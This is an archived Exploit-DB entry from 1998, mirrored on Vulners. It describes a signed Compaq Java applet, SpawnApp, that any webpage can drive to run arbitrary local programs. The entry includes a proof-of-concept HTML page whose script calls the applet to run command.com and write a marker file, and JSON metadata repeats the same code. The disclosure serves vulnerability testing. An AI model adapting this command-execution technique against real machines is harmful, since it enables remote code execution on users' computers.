Search...

Compaq Java Applet for Presario SpawnApp Vulnerability

1998-11-28T00:00:00

ID EDB-ID:19442
Type exploitdb
Reporter Frank Farance
Modified 1998-11-28T00:00:00

Description

Compaq Java Applet for Presario SpawnApp Vulnerability. Remote exploit for windows platform

                                        
                                            source: http://www.securityfocus.com/bid/557/info

Some Compaq computers come with a Java applet called SpawnApp. This applet is used to run Compaq diagnostic utilities from the local hard drive when certain Compaq websites are viewed. The problem is that the applet can run any program, and can be used by any webpage. This applet is signed as secure by Compaq. 

&lt;html&gt;

&lt;head&gt;
&lt;title&gt;Test for Compaq SpawnApp vulnerability&lt;/title&gt;
&lt;/head&gt;

&lt;body&gt;

&lt;applet code=SQRCDAPP name=sqrcd width=0 height=0&gt;    
&lt;param name="cabbase" value="SQRCDAPP.cab"&gt;
&lt;/applet&gt;

&lt;SCRIPT language=javascript&gt;
function Btn_OnClick(cmndkey)
{    document.sqrcd.SQRCDProcess("c:\\windows\\command\\command.com /C echo Vulnerable! &gt;c:\\spawnapp.txt");
}
&lt;/SCRIPT&gt;

&lt;p align="center"&gt; 
Test for Compaq SpawnApp vulnerability 
&lt;/p&gt;

&lt;p align="center"&gt; 
-&gt; 
&lt;a href="#TopofDocument" onClick="Btn_OnClick('full')" &gt; Test For Vulnerability 
&lt;/a&gt; 
&lt;-
&lt;/p&gt;

&lt;p align="center"&gt; 
If your system is vulnerable, clicking the link above will open a command window, which will create the file c:\spawnapp.txt with content "Vulnerable!".
&lt;/p&gt;

&lt;p align="center"&gt;
Note: This will only work if your Windows folder is c:\windows. Otherwise you will have to edit this 
HTML file.
&lt;/p&gt;
&lt;/body&gt;
&lt;/html&gt;

JSON Vulners Source

Initial Source

{"id": "EDB-ID:19442", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Compaq Java Applet for Presario SpawnApp Vulnerability", "description": "Compaq Java Applet for Presario SpawnApp Vulnerability. Remote exploit for windows platform", "published": "1998-11-28T00:00:00", "modified": "1998-11-28T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://www.exploit-db.com/exploits/19442/", "reporter": "Frank Farance", "references": [], "cvelist": [], "lastseen": "2016-02-02T11:51:57", "viewCount": 2, "enchantments": {"score": {"value": 0.3, "vector": "NONE", "modified": "2016-02-02T11:51:57", "rev": 2}, "dependencies": {"references": [], "modified": "2016-02-02T11:51:57", "rev": 2}, "vulnersScore": 0.3}, "sourceHref": "https://www.exploit-db.com/download/19442/", "sourceData": "source: http://www.securityfocus.com/bid/557/info\r\n\r\nSome Compaq computers come with a Java applet called SpawnApp. This applet is used to run Compaq diagnostic utilities from the local hard drive when certain Compaq websites are viewed. The problem is that the applet can run any program, and can be used by any webpage. This applet is signed as secure by Compaq. \r\n\r\n<html>\r\n\r\n<head>\r\n<title>Test for Compaq SpawnApp vulnerability</title>\r\n</head>\r\n\r\n<body>\r\n\r\n<applet code=SQRCDAPP name=sqrcd width=0 height=0> \r\n<param name=\"cabbase\" value=\"SQRCDAPP.cab\">\r\n</applet>\r\n\r\n<SCRIPT language=javascript>\r\nfunction Btn_OnClick(cmndkey)\r\n{ document.sqrcd.SQRCDProcess(\"c:\\\\windows\\\\command\\\\command.com /C echo Vulnerable! >c:\\\\spawnapp.txt\");\r\n}\r\n</SCRIPT>\r\n\r\n<p align=\"center\"> \r\nTest for Compaq SpawnApp vulnerability \r\n</p>\r\n\r\n<p align=\"center\"> \r\n-> \r\n<a href=\"#TopofDocument\" onClick=\"Btn_OnClick('full')\" > Test For Vulnerability \r\n</a> \r\n<-\r\n</p>\r\n\r\n<p align=\"center\"> \r\nIf your system is vulnerable, clicking the link above will open a command window, which will create the file c:\\spawnapp.txt with content \"Vulnerable!\".\r\n</p>\r\n\r\n<p align=\"center\">\r\nNote: This will only work if your Windows folder is c:\\windows. Otherwise you will have to edit this \r\nHTML file.\r\n</p>\r\n</body>\r\n</html>", "osvdbidlist": ["83452"], "immutableFields": []}